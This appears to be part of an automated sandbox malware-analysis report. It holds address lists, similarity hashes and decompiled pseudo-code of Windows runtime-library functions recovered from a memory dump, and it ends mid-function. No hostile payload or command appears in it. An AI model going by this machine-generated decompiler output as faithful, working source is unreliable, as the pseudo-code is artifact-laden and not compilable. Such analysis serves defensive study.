0x00c12ac4
0x00c12ac6
0x00c12ac6
0x00000000
0x00c12ac6
0x00c12aab
0x00000000
0x00c12a00
0x00c12a09
0x00c12a0e
0x00c12a21
0x00c12a24
0x00c12a35
0x00c12a3a
0x00c12a3d
0x00c12a42
0x00c12a59
0x00c12a59
0x00c12a5c
0x00c12a5f
0x00c12a5f
0x00c129fa
0x00c129f3
0x00c12a64
0x00c12a64
0x00c12a6b
0x00c12a6b
0x00c12a6d
0x00c12a72
0x00c12a72
0x00000000

Strings

PATH, xrefs: 00C12642, 00C12691

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: PATH
API String ID: 0-1036084923
Opcode ID: cc5dfb1c4b421750e58d4f974303da9bdabaa328822d98bfc6a2b4e71ff29ab2
Instruction ID: 6ab1a41082a87951848863b3927032391b28ce9a98366dfca6d49f2d0a54a4e6
Opcode Fuzzy Hash: cc5dfb1c4b421750e58d4f974303da9bdabaa328822d98bfc6a2b4e71ff29ab2
Instruction Fuzzy Hash: F0C1C079D00219DBCB14DF99D891BEEB7B1FF49700F144029F911AB2A0D734ADA5EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00C1FAB0, Relevance: 1.6, Strings: 1, Instructions: 306
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E00C1FAB0(void* __ebx, void* __esi, signed int _a8, signed int _a12) {
				char _v5;
				signed int _v8;
				signed int _v12;
				char _v16;
				char _v17;
				char _v20;
				signed int _v24;
				char _v28;
				char _v32;
				signed int _v40;
				void* __ecx;
				void* __edi;
				void* __ebp;
				signed int _t73;
				intOrPtr* _t75;
				signed int _t77;
				signed int _t79;
				signed int _t81;
				intOrPtr _t83;
				intOrPtr _t85;
				intOrPtr _t86;
				signed int _t91;
				signed int _t94;
				signed int _t95;
				signed int _t96;
				signed int _t106;
				signed int _t108;
				signed int _t114;
				signed int _t116;
				signed int _t118;
				signed int _t122;
				signed int _t123;
				void* _t129;
				signed int _t130;
				void* _t132;
				intOrPtr* _t134;
				signed int _t138;
				signed int _t141;
				signed int _t147;
				intOrPtr _t153;
				signed int _t154;
				signed int _t155;
				signed int _t170;
				void* _t174;
				signed int _t176;
				signed int _t177;

				_t129 = __ebx;
				_push(_t132);
				_push(__esi);
				_t174 = _t132;
				_t73 =  !( *( *(_t174 + 0x18)));
				if(_t73 >= 0) {
					L5:
					return _t73;
				} else {
					E00BFEEF0(0xcd7b60);
					_t134 =  *0xcd7b84; // 0x771c7b80
					_t2 = _t174 + 0x24; // 0x24
					_t75 = _t2;
					if( *_t134 != 0xcd7b80) {
						_push(3);
						asm("int 0x29");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(0xcd7b60);
						_t170 = _v8;
						_v28 = 0;
						_v40 = 0;
						_v24 = 0;
						_v17 = 0;
						_v32 = 0;
						__eflags = _t170 & 0xffff7cf2;
						if((_t170 & 0xffff7cf2) != 0) {
							L43:
							_t77 = 0xc000000d;
						} else {
							_t79 = _t170 & 0x0000000c;
							__eflags = _t79;
							if(_t79 != 0) {
								__eflags = _t79 - 0xc;
								if(_t79 == 0xc) {
									goto L43;
								} else {
									goto L9;
								}
							} else {
								_t170 = _t170 | 0x00000008;
								__eflags = _t170;
								L9:
								_t81 = _t170 & 0x00000300;
								__eflags = _t81 - 0x300;
								if(_t81 == 0x300) {
									goto L43;
								} else {
									_t138 = _t170 & 0x00000001;
									__eflags = _t138;
									_v24 = _t138;
									if(_t138 != 0) {
										__eflags = _t81;
										if(_t81 != 0) {
											goto L43;
										} else {
											goto L11;
										}
									} else {
										L11:
										_push(_t129);
										_t77 = E00BF6D90( &_v20);
										_t130 = _t77;
										__eflags = _t130;
										if(_t130 >= 0) {
											_push(_t174);
											__eflags = _t170 & 0x00000301;
											if((_t170 & 0x00000301) == 0) {
												_t176 = _a8;
												__eflags = _t176;
												if(__eflags == 0) {
													L64:
													_t83 =  *[fs:0x18];
													_t177 = 0;
													__eflags =  *(_t83 + 0xfb8);
													if( *(_t83 + 0xfb8) != 0) {
														E00BF76E2( *((intOrPtr*)( *[fs:0x18] + 0xfb8)));
														 *((intOrPtr*)( *[fs:0x18] + 0xfb8)) = 0;
													}
													 *((intOrPtr*)( *[fs:0x18] + 0xfb8)) = _v12;
													goto L15;
												} else {
													asm("sbb edx, edx");
													_t114 = E00C88938(_t130, _t176, ( ~(_t170 & 4) & 0xffffffaf) + 0x55, _t170, _t176, __eflags);
													__eflags = _t114;
													if(_t114 < 0) {
														_push("*** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!\n");
														E00BEB150();
													}
													_t116 = E00C86D81(_t176,  &_v16);
													__eflags = _t116;
													if(_t116 >= 0) {
														__eflags = _v16 - 2;
														if(_v16 < 2) {
															L56:
															_t118 = E00BF75CE(_v20, 5, 0);
															__eflags = _t118;
															if(_t118 < 0) {
																L67:
																_t130 = 0xc0000017;
																goto L32;
															} else {
																__eflags = _v12;
																if(_v12 == 0) {
																	goto L67;
																} else {
																	_t153 =  *0xcd8638; // 0x0
																	_t122 = L00BF38A4(_t153, _t176, _v16, _t170 | 0x00000002, 0x1a, 5,  &_v12);
																	_t154 = _v12;
																	_t130 = _t122;
																	__eflags = _t130;
																	if(_t130 >= 0) {
																		_t123 =  *(_t154 + 4) & 0x0000ffff;
																		__eflags = _t123;
																		if(_t123 != 0) {
																			_t155 = _a12;
																			__eflags = _t155;
																			if(_t155 != 0) {
																				 *_t155 = _t123;
																			}
																			goto L64;
																		} else {
																			E00BF76E2(_t154);
																			goto L41;
																		}
																	} else {
																		E00BF76E2(_t154);
																		_t177 = 0;
																		goto L18;
																	}
																}
															}
														} else {
															__eflags =  *_t176;
															if( *_t176 != 0) {
																goto L56;
															} else {
																__eflags =  *(_t176 + 2);
																if( *(_t176 + 2) == 0) {
																	goto L64;
																} else {
																	goto L56;
																}
															}
														}
													} else {
														_t130 = 0xc000000d;
														goto L32;
													}
												}
												goto L35;
											} else {
												__eflags = _a8;
												if(_a8 != 0) {
													_t77 = 0xc000000d;
												} else {
													_v5 = 1;
													L00C1FCE3(_v20, _t170);
													_t177 = 0;
													__eflags = 0;
													L15:
													_t85 =  *[fs:0x18];
													__eflags =  *((intOrPtr*)(_t85 + 0xfc0)) - _t177;
													if( *((intOrPtr*)(_t85 + 0xfc0)) == _t177) {
														L18:
														__eflags = _t130;
														if(_t130 != 0) {
															goto L32;
														} else {
															__eflags = _v5 - _t130;
															if(_v5 == _t130) {
																goto L32;
															} else {
																_t86 =  *[fs:0x18];
																__eflags =  *((intOrPtr*)(_t86 + 0xfbc)) - _t177;
																if( *((intOrPtr*)(_t86 + 0xfbc)) != _t177) {
																	_t177 =  *( *( *[fs:0x18] + 0xfbc));
																}
																__eflags = _t177;
																if(_t177 == 0) {
																	L31:
																	__eflags = 0;
																	L00BF70F0(_t170 | 0x00000030,  &_v32, 0,  &_v28);
																	goto L32;
																} else {
																	__eflags = _v24;
																	_t91 =  *(_t177 + 0x20);
																	if(_v24 != 0) {
																		 *(_t177 + 0x20) = _t91 & 0xfffffff9;
																		goto L31;
																	} else {
																		_t141 = _t91 & 0x00000040;
																		__eflags = _t170 & 0x00000100;
																		if((_t170 & 0x00000100) == 0) {
																			__eflags = _t141;
																			if(_t141 == 0) {
																				L74:
																				_t94 = _t91 & 0xfffffffd | 0x00000004;
																				goto L27;
																			} else {
																				_t177 = E00C1FD22(_t177);
																				__eflags = _t177;
																				if(_t177 == 0) {
																					goto L42;
																				} else {
																					_t130 = E00C1FD9B(_t177, 0, 4);
																					__eflags = _t130;
																					if(_t130 != 0) {
																						goto L42;
																					} else {
																						_t68 = _t177 + 0x20;
																						 *_t68 =  *(_t177 + 0x20) & 0xffffffbf;
																						__eflags =  *_t68;
																						_t91 =  *(_t177 + 0x20);
																						goto L74;
																					}
																				}
																			}
																			goto L35;
																		} else {
																			__eflags = _t141;
																			if(_t141 != 0) {
																				_t177 = E00C1FD22(_t177);
																				__eflags = _t177;
																				if(_t177 == 0) {
																					L42:
																					_t77 = 0xc0000001;
																					goto L33;
																				} else {
																					_t130 = E00C1FD9B(_t177, 0, 4);
																					__eflags = _t130;
																					if(_t130 != 0) {
																						goto L42;
																					} else {
																						 *(_t177 + 0x20) =  *(_t177 + 0x20) & 0xffffffbf;
																						_t91 =  *(_t177 + 0x20);
																						goto L26;
																					}
																				}
																				goto L35;
																			} else {
																				L26:
																				_t94 = _t91 & 0xfffffffb | 0x00000002;
																				__eflags = _t94;
																				L27:
																				 *(_t177 + 0x20) = _t94;
																				__eflags = _t170 & 0x00008000;
																				if((_t170 & 0x00008000) != 0) {
																					_t95 = _a12;
																					__eflags = _t95;
																					if(_t95 != 0) {
																						_t96 =  *_t95;
																						__eflags = _t96;
																						if(_t96 != 0) {
																							 *((short*)(_t177 + 0x22)) = 0;
																							_t40 = _t177 + 0x20;
																							 *_t40 =  *(_t177 + 0x20) | _t96 << 0x00000010;
																							__eflags =  *_t40;
																						}
																					}
																				}
																				goto L31;
																			}
																		}
																	}
																}
															}
														}
													} else {
														_t147 =  *( *[fs:0x18] + 0xfc0);
														_t106 =  *(_t147 + 0x20);
														__eflags = _t106 & 0x00000040;
														if((_t106 & 0x00000040) != 0) {
															_t147 = E00C1FD22(_t147);
															__eflags = _t147;
															if(_t147 == 0) {
																L41:
																_t130 = 0xc0000001;
																L32:
																_t77 = _t130;
																goto L33;
															} else {
																 *(_t147 + 0x20) =  *(_t147 + 0x20) & 0xffffffbf;
																_t106 =  *(_t147 + 0x20);
																goto L17;
															}
															goto L35;
														} else {
															L17:
															_t108 = _t106 | 0x00000080;
															__eflags = _t108;
															 *(_t147 + 0x20) = _t108;
															 *( *[fs:0x18] + 0xfc0) = _t147;
															goto L18;
														}
													}
												}
											}
											L33:
										}
									}
								}
							}
						}
						L35:
						return _t77;
					} else {
						 *_t75 = 0xcd7b80;
						 *((intOrPtr*)(_t75 + 4)) = _t134;
						 *_t134 = _t75;
						 *0xcd7b84 = _t75;
						_t73 = E00BFEB70(_t134, 0xcd7b60);
						if( *0xcd7b20 != 0) {
							_t73 =  *( *[fs:0x30] + 0xc);
							if( *((char*)(_t73 + 0x28)) == 0) {
								_t73 = E00BFFF60( *0xcd7b20);
							}
						}
						goto L5;
					}
				}
			}

0x00c1fab0
0x00c1fab2
0x00c1fab3
0x00c1fab4
0x00c1fabc
0x00c1fac0
0x00c1fb14
0x00c1fb17
0x00c1fac2
0x00c1fac8
0x00c1facd
0x00c1fad3
0x00c1fad3
0x00c1fadd
0x00c1fb18
0x00c1fb1b
0x00c1fb1d
0x00c1fb1e
0x00c1fb1f
0x00c1fb20
0x00c1fb21
0x00c1fb22
0x00c1fb23
0x00c1fb24
0x00c1fb25
0x00c1fb26
0x00c1fb27
0x00c1fb28
0x00c1fb29
0x00c1fb2a
0x00c1fb2b
0x00c1fb2c
0x00c1fb2d
0x00c1fb2e
0x00c1fb2f
0x00c1fb3a
0x00c1fb3b
0x00c1fb3e
0x00c1fb41
0x00c1fb44
0x00c1fb47
0x00c1fb4a
0x00c1fb4d
0x00c1fb53
0x00c5bdcb
0x00c5bdcb
0x00c1fb59
0x00c1fb5b
0x00c1fb5b
0x00c1fb5e
0x00c5bdd5
0x00c5bdd8
0x00000000
0x00c5bdda
0x00000000
0x00c5bdda
0x00c1fb64
0x00c1fb64
0x00c1fb64
0x00c1fb67
0x00c1fb6e
0x00c1fb70
0x00c1fb72
0x00000000
0x00c1fb78
0x00c1fb7a
0x00c1fb7a
0x00c1fb7d
0x00c1fb80
0x00c5bddf
0x00c5bde1
0x00000000
0x00c5bde3
0x00000000
0x00c5bde3
0x00c1fb86
0x00c1fb86
0x00c1fb86
0x00c1fb8b
0x00c1fb90
0x00c1fb92
0x00c1fb94
0x00c1fb9a
0x00c1fb9b
0x00c1fba1
0x00c5bde8
0x00c5bdeb
0x00c5bded
0x00c5beb5
0x00c5beb5
0x00c5bebb
0x00c5bebd
0x00c5bec3
0x00c5bed2
0x00c5bedd
0x00c5bedd
0x00c5beed
0x00000000
0x00c5bdf3
0x00c5bdfe
0x00c5be06
0x00c5be0b
0x00c5be0d
0x00c5be0f
0x00c5be14
0x00c5be19
0x00c5be20
0x00c5be25
0x00c5be27
0x00c5be35
0x00c5be39
0x00c5be46
0x00c5be4f
0x00c5be54
0x00c5be56
0x00c5bef8
0x00c5bef8
0x00000000
0x00c5be5c
0x00c5be5c
0x00c5be60
0x00000000
0x00c5be66
0x00c5be66
0x00c5be7f
0x00c5be84
0x00c5be87
0x00c5be89
0x00c5be8b
0x00c5be99
0x00c5be9d
0x00c5bea0
0x00c5beac
0x00c5beaf
0x00c5beb1
0x00c5beb3
0x00c5beb3
0x00000000
0x00c5bea2
0x00c5bea2
0x00000000
0x00c5bea2
0x00c5be8d
0x00c5be8d
0x00c5be92
0x00000000
0x00c5be92
0x00c5be8b
0x00c5be60
0x00c5be3b
0x00c5be3b
0x00c5be3e
0x00000000
0x00c5be40
0x00c5be40
0x00c5be44
0x00000000
0x00000000
0x00000000
0x00000000
0x00c5be44
0x00c5be3e
0x00c5be29
0x00c5be29
0x00000000
0x00c5be29
0x00c5be27
0x00000000
0x00c1fba7
0x00c1fba7
0x00c1fbab
0x00c5bf02
0x00c1fbb1
0x00c1fbb1
0x00c1fbb8
0x00c1fbbd
0x00c1fbbd
0x00c1fbbf
0x00c1fbbf
0x00c1fbc5
0x00c1fbcb
0x00c1fbf8
0x00c1fbf8
0x00c1fbfa
0x00000000
0x00c1fc00
0x00c1fc00
0x00c1fc03
0x00000000
0x00c1fc09
0x00c1fc09
0x00c1fc0f
0x00c1fc15
0x00c1fc23
0x00c1fc23
0x00c1fc25
0x00c1fc27
0x00c1fc75
0x00c1fc7c
0x00c1fc84
0x00000000
0x00c1fc29
0x00c1fc29
0x00c1fc2d
0x00c1fc30
0x00c5bf0f
0x00000000
0x00c1fc36
0x00c1fc38
0x00c1fc3b
0x00c1fc41
0x00c5bf17
0x00c5bf19
0x00c5bf48
0x00c5bf4b
0x00000000
0x00c5bf1b
0x00c5bf22
0x00c5bf24
0x00c5bf26
0x00000000
0x00c5bf2c
0x00c5bf37
0x00c5bf39
0x00c5bf3b
0x00000000
0x00c5bf41
0x00c5bf41
0x00c5bf41
0x00c5bf41
0x00c5bf45
0x00000000
0x00c5bf45
0x00c5bf3b
0x00c5bf26
0x00000000
0x00c1fc47
0x00c1fc47
0x00c1fc49
0x00c1fcb2
0x00c1fcb4
0x00c1fcb6
0x00c1fcdc
0x00c1fcdc
0x00000000
0x00c1fcb8
0x00c1fcc3
0x00c1fcc5
0x00c1fcc7
0x00000000
0x00c1fcc9
0x00c1fcc9
0x00c1fccd
0x00000000
0x00c1fccd
0x00c1fcc7
0x00000000
0x00c1fc4b
0x00c1fc4b
0x00c1fc4e
0x00c1fc4e
0x00c1fc51
0x00c1fc51
0x00c1fc54
0x00c1fc5a
0x00c1fc5c
0x00c1fc5f
0x00c1fc61
0x00c1fc63
0x00c1fc65
0x00c1fc67
0x00c1fc6e
0x00c1fc72
0x00c1fc72
0x00c1fc72
0x00c1fc72
0x00c1fc67
0x00c1fc61
0x00000000
0x00c1fc5a
0x00c1fc49
0x00c1fc41
0x00c1fc30
0x00c1fc27
0x00c1fc03
0x00c1fbcd
0x00c1fbd3
0x00c1fbd9
0x00c1fbdc
0x00c1fbde
0x00c1fc99
0x00c1fc9b
0x00c1fc9d
0x00c1fcd5
0x00c1fcd5
0x00c1fc89
0x00c1fc89
0x00000000
0x00c1fc9f
0x00c1fc9f
0x00c1fca3
0x00000000
0x00c1fca3
0x00000000
0x00c1fbe4
0x00c1fbe4
0x00c1fbe4
0x00c1fbe4
0x00c1fbe9
0x00c1fbf2
0x00000000
0x00c1fbf2
0x00c1fbde
0x00c1fbcb
0x00c1fbab
0x00c1fc8b
0x00c1fc8b
0x00c1fc8c
0x00c1fb80
0x00c1fb72
0x00c1fb5e
0x00c1fc8d
0x00c1fc91
0x00c1fadf
0x00c1fadf
0x00c1fae1
0x00c1fae4
0x00c1fae7
0x00c1faec
0x00c1faf8
0x00c1fb00
0x00c1fb07
0x00c1fb0f
0x00c1fb0f
0x00c1fb07
0x00000000
0x00c1faf8
0x00c1fadd

Strings

*** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!, xrefs: 00C5BE0F

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: *** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!
API String ID: 0-865735534
Opcode ID: 3c5d8cfcba0dd21970fe0b13fd30ff856dd91361b0d22ac60c81a5cc82079d16
Instruction ID: c9789ab083c6726088b833b2b23838a7911897744cc9243ce6921212ae880d94
Opcode Fuzzy Hash: 3c5d8cfcba0dd21970fe0b13fd30ff856dd91361b0d22ac60c81a5cc82079d16
Instruction Fuzzy Hash: FDA13535B006099BDB30DF65C461BFAB7A4AF46710F14467EED12CB690DB30DE86AB90

Uniqueness

Uniqueness Score: -1.00%

Function 00BE2D8A, Relevance: 1.4, Strings: 1, Instructions: 191
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E00BE2D8A(void* __ebx, signed char __ecx, signed int __edx, signed int __edi) {
				signed char _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				signed int _v52;
				void* __esi;
				void* __ebp;
				intOrPtr _t55;
				signed int _t57;
				signed int _t58;
				char* _t62;
				signed char* _t63;
				signed char* _t64;
				signed int _t67;
				signed int _t72;
				signed int _t77;
				signed int _t78;
				signed int _t88;
				intOrPtr _t89;
				signed char _t93;
				signed int _t97;
				signed int _t98;
				signed int _t102;
				signed int _t103;
				intOrPtr _t104;
				signed int _t105;
				signed int _t106;
				signed char _t109;
				signed int _t111;
				void* _t116;

				_t102 = __edi;
				_t97 = __edx;
				_v12 = _v12 & 0x00000000;
				_t55 =  *[fs:0x18];
				_t109 = __ecx;
				_v8 = __edx;
				_t86 = 0;
				_v32 = _t55;
				_v24 = 0;
				_push(__edi);
				if(__ecx == 0xcd5350) {
					_t86 = 1;
					_v24 = 1;
					 *((intOrPtr*)(_t55 + 0xf84)) = 1;
				}
				_t103 = _t102 | 0xffffffff;
				if( *0xcd7bc8 != 0) {
					_push(0xc000004b);
					_push(_t103);
					E00C297C0();
				}
				if( *0xcd79c4 != 0) {
					_t57 = 0;
				} else {
					_t57 = 0xcd79c8;
				}
				_v16 = _t57;
				if( *((intOrPtr*)(_t109 + 0x10)) == 0) {
					_t93 = _t109;
					L23();
				}
				_t58 =  *_t109;
				if(_t58 == _t103) {
					__eflags =  *(_t109 + 0x14) & 0x01000000;
					_t58 = _t103;
					if(__eflags == 0) {
						_t93 = _t109;
						E00C11624(_t86, __eflags);
						_t58 =  *_t109;
					}
				}
				_v20 = _v20 & 0x00000000;
				if(_t58 != _t103) {
					 *((intOrPtr*)(_t58 + 0x14)) =  *((intOrPtr*)(_t58 + 0x14)) + 1;
				}
				_t104 =  *((intOrPtr*)(_t109 + 0x10));
				_t88 = _v16;
				_v28 = _t104;
				L9:
				while(1) {
					if(E00C07D50() != 0) {
						_t62 = ( *[fs:0x30])[0x50] + 0x228;
					} else {
						_t62 = 0x7ffe0382;
					}
					if( *_t62 != 0) {
						_t63 =  *[fs:0x30];
						__eflags = _t63[0x240] & 0x00000002;
						if((_t63[0x240] & 0x00000002) != 0) {
							_t93 = _t109;
							E00C7FE87(_t93);
						}
					}
					if(_t104 != 0xffffffff) {
						_push(_t88);
						_push(0);
						_push(_t104);
						_t64 = E00C29520();
						goto L15;
					} else {
						while(1) {
							_t97 =  &_v8;
							_t64 = E00C1E18B(_t109 + 4, _t97, 4, _t88, 0);
							if(_t64 == 0x102) {
								break;
							}
							_t93 =  *(_t109 + 4);
							_v8 = _t93;
							if((_t93 & 0x00000002) != 0) {
								continue;
							}
							L15:
							if(_t64 == 0x102) {
								break;
							}
							_t89 = _v24;
							if(_t64 < 0) {
								L00C3DF30(_t93, _t97, _t64);
								_push(_t93);
								_t98 = _t97 | 0xffffffff;
								__eflags =  *0xcd6901;
								_push(_t109);
								_v52 = _t98;
								if( *0xcd6901 != 0) {
									_push(0);
									_push(1);
									_push(0);
									_push(0x100003);
									_push( &_v12);
									_t72 = E00C29980();
									__eflags = _t72;
									if(_t72 < 0) {
										_v12 = _t98 | 0xffffffff;
									}
								}
								asm("lock cmpxchg [ecx], edx");
								_t111 = 0;
								__eflags = 0;
								if(0 != 0) {
									__eflags = _v12 - 0xffffffff;
									if(_v12 != 0xffffffff) {
										_push(_v12);
										E00C295D0();
									}
								} else {
									_t111 = _v12;
								}
								return _t111;
							} else {
								if(_t89 != 0) {
									 *((intOrPtr*)(_v32 + 0xf84)) = 0;
									_t77 = E00C07D50();
									__eflags = _t77;
									if(_t77 == 0) {
										_t64 = 0x7ffe0384;
									} else {
										_t64 = ( *[fs:0x30])[0x50] + 0x22a;
									}
									__eflags =  *_t64;
									if( *_t64 != 0) {
										_t64 =  *[fs:0x30];
										__eflags = _t64[0x240] & 0x00000004;
										if((_t64[0x240] & 0x00000004) != 0) {
											_t78 = E00C07D50();
											__eflags = _t78;
											if(_t78 == 0) {
												_t64 = 0x7ffe0385;
											} else {
												_t64 = ( *[fs:0x30])[0x50] + 0x22b;
											}
											__eflags =  *_t64 & 0x00000020;
											if(( *_t64 & 0x00000020) != 0) {
												_t64 = E00C67016(0x1483, _t97 | 0xffffffff, 0xffffffff, 0xffffffff, 0, 0);
											}
										}
									}
								}
								return _t64;
							}
						}
						_t97 = _t88;
						_t93 = _t109;
						E00C7FDDA(_t97, _v12);
						_t105 =  *_t109;
						_t67 = _v12 + 1;
						_v12 = _t67;
						__eflags = _t105 - 0xffffffff;
						if(_t105 == 0xffffffff) {
							_t106 = 0;
							__eflags = 0;
						} else {
							_t106 =  *(_t105 + 0x14);
						}
						__eflags = _t67 - 2;
						if(_t67 > 2) {
							__eflags = _t109 - 0xcd5350;
							if(_t109 != 0xcd5350) {
								__eflags = _t106 - _v20;
								if(__eflags == 0) {
									_t93 = _t109;
									E00C7FFB9(_t88, _t93, _t97, _t106, _t109, __eflags);
								}
							}
						}
						_push("RTL: Re-Waiting\n");
						_push(0);
						_push(0x65);
						_v20 = _t106;
						E00C75720();
						_t104 = _v28;
						_t116 = _t116 + 0xc;
						continue;
					}
				}
			}

0x00be2d8a
0x00be2d8a
0x00be2d92
0x00be2d96
0x00be2d9e
0x00be2da0
0x00be2da3
0x00be2da5
0x00be2da8
0x00be2dab
0x00be2db2
0x00c3f9aa
0x00c3f9ab
0x00c3f9ae
0x00c3f9ae
0x00be2db8
0x00be2dc2
0x00c3f9b9
0x00c3f9be
0x00c3f9bf
0x00c3f9bf
0x00be2dcf
0x00c3f9c9
0x00be2dd5
0x00be2dd5
0x00be2dd5
0x00be2dde
0x00be2de1
0x00be2e70
0x00be2e72
0x00be2e72
0x00be2de7
0x00be2deb
0x00be2e7c
0x00be2e83
0x00be2e85
0x00be2e8b
0x00be2e8d
0x00be2e92
0x00be2e92
0x00be2e85
0x00be2df1
0x00be2df7
0x00be2df9
0x00be2df9
0x00be2dfc
0x00be2dff
0x00be2e02
0x00000000
0x00be2e05
0x00be2e0c
0x00c3f9d9
0x00be2e12
0x00be2e12
0x00be2e12
0x00be2e1a
0x00c3f9e3
0x00c3f9e9
0x00c3f9f0
0x00c3f9f6
0x00c3f9f8
0x00c3f9f8
0x00c3f9f0
0x00be2e23
0x00c3fa02
0x00c3fa03
0x00c3fa05
0x00c3fa06
0x00000000
0x00be2e29
0x00be2e29
0x00be2e2e
0x00be2e34
0x00be2e3e
0x00000000
0x00000000
0x00be2e44
0x00be2e47
0x00be2e4d
0x00000000
0x00000000
0x00be2e4f
0x00be2e54
0x00000000
0x00000000
0x00be2e5a
0x00be2e5f
0x00be2e9a
0x00be2ea4
0x00be2ea5
0x00be2ea8
0x00be2eaf
0x00be2eb2
0x00be2eb5
0x00c3fae9
0x00c3faeb
0x00c3faed
0x00c3faef
0x00c3faf7
0x00c3faf8
0x00c3fafd
0x00c3faff
0x00c3fb04
0x00c3fb04
0x00c3faff
0x00be2ec0
0x00be2ec4
0x00be2ec6
0x00be2ec8
0x00c3fb14
0x00c3fb18
0x00c3fb1e
0x00c3fb21
0x00c3fb21
0x00be2ece
0x00be2ece
0x00be2ece
0x00be2ed7
0x00be2e61
0x00be2e63
0x00c3fa6b
0x00c3fa71
0x00c3fa76
0x00c3fa78
0x00c3fa8a
0x00c3fa7a
0x00c3fa83
0x00c3fa83
0x00c3fa8f
0x00c3fa91
0x00c3fa97
0x00c3fa9d
0x00c3faa4
0x00c3faaa
0x00c3faaf
0x00c3fab1
0x00c3fac3
0x00c3fab3
0x00c3fabc
0x00c3fabc
0x00c3fac8
0x00c3facb
0x00c3fadf
0x00c3fadf
0x00c3facb
0x00c3faa4
0x00c3fa91
0x00be2e6f
0x00be2e6f
0x00be2e5f
0x00c3fa13
0x00c3fa15
0x00c3fa17
0x00c3fa1f
0x00c3fa21
0x00c3fa22
0x00c3fa25
0x00c3fa28
0x00c3fa2f
0x00c3fa2f
0x00c3fa2a
0x00c3fa2a
0x00c3fa2a
0x00c3fa31
0x00c3fa34
0x00c3fa36
0x00c3fa3c
0x00c3fa3e
0x00c3fa41
0x00c3fa43
0x00c3fa45
0x00c3fa45
0x00c3fa41
0x00c3fa3c
0x00c3fa4a
0x00c3fa4f
0x00c3fa51
0x00c3fa53
0x00c3fa56
0x00c3fa5b
0x00c3fa5e
0x00000000
0x00c3fa5e
0x00be2e23

Strings

RTL: Re-Waiting, xrefs: 00C3FA4A

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: RTL: Re-Waiting
API String ID: 0-316354757
Opcode ID: e68341c8d05eb88c8ed660b3b56191808c4c462263f87a087e48bddc5fc438b7
Instruction ID: cf728cc1b0f87aabe138d5d477e41909f99260b70cf7dc688cbadf19bc0cdddc
Opcode Fuzzy Hash: e68341c8d05eb88c8ed660b3b56191808c4c462263f87a087e48bddc5fc438b7
Instruction Fuzzy Hash: 5D614431E00684AFDB31DF69C881B7E77E8EB44710F244ABAE925972D1C7749E02E791

Uniqueness

Uniqueness Score: -1.00%

Function 00CB0EA5, Relevance: 1.4, Strings: 1, Instructions: 153
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E00CB0EA5(void* __ecx, void* __edx) {
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				unsigned int _v32;
				signed int _v36;
				intOrPtr _v40;
				char _v44;
				intOrPtr _v64;
				void* __ebx;
				void* __edi;
				signed int _t58;
				unsigned int _t60;
				intOrPtr _t62;
				char* _t67;
				char* _t69;
				void* _t80;
				void* _t83;
				intOrPtr _t93;
				intOrPtr _t115;
				char _t117;
				void* _t120;

				_t83 = __edx;
				_t117 = 0;
				_t120 = __ecx;
				_v44 = 0;
				if(E00CAFF69(__ecx,  &_v44,  &_v32) < 0) {
					L24:
					_t109 = _v44;
					if(_v44 != 0) {
						E00CB1074(_t83, _t120, _t109, _t117, _t117);
					}
					L26:
					return _t117;
				}
				_t93 =  *((intOrPtr*)(__ecx + 0x3c));
				_t5 = _t83 + 1; // 0x1
				_v36 = _t5 << 0xc;
				_v40 = _t93;
				_t58 =  *(_t93 + 0xc) & 0x40000000;
				asm("sbb ebx, ebx");
				_t83 = ( ~_t58 & 0x0000003c) + 4;
				if(_t58 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t93);
					_push(0xffffffff);
					_t80 = E00C29730();
					_t115 = _v64;
					if(_t80 < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t115) {
						_push(_t93);
						E00CAA80D(_t115, 1, _v20, _t117);
						_t83 = 4;
					}
				}
				if(E00CAA854( &_v44,  &_v36, _t117, 0x40001000, _t83, _t117,  *((intOrPtr*)(_t120 + 0x34)),  *((intOrPtr*)(_t120 + 0x38))) < 0) {
					goto L24;
				}
				_t60 = _v32;
				_t97 = (_t60 != 0x100000) + 1;
				_t83 = (_v44 -  *0xcd8b04 >> 0x14) + (_v44 -  *0xcd8b04 >> 0x14);
				_v28 = (_t60 != 0x100000) + 1;
				_t62 = _t83 + (_t60 >> 0x14) * 2;
				_v40 = _t62;
				if(_t83 >= _t62) {
					L10:
					asm("lock xadd [eax], ecx");
					asm("lock xadd [eax], ecx");
					if(E00C07D50() == 0) {
						_t67 = 0x7ffe0380;
					} else {
						_t67 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t67 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
						E00CA138A(_t83,  *((intOrPtr*)(_t120 + 0x3c)), _v44, _v36, 0xc);
					}
					if(E00C07D50() == 0) {
						_t69 = 0x7ffe0388;
					} else {
						_t69 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
					}
					if( *_t69 != 0) {
						E00C9FEC0(_t83,  *((intOrPtr*)(_t120 + 0x3c)), _v44, _v32);
					}
					if(( *0xcd8724 & 0x00000008) != 0) {
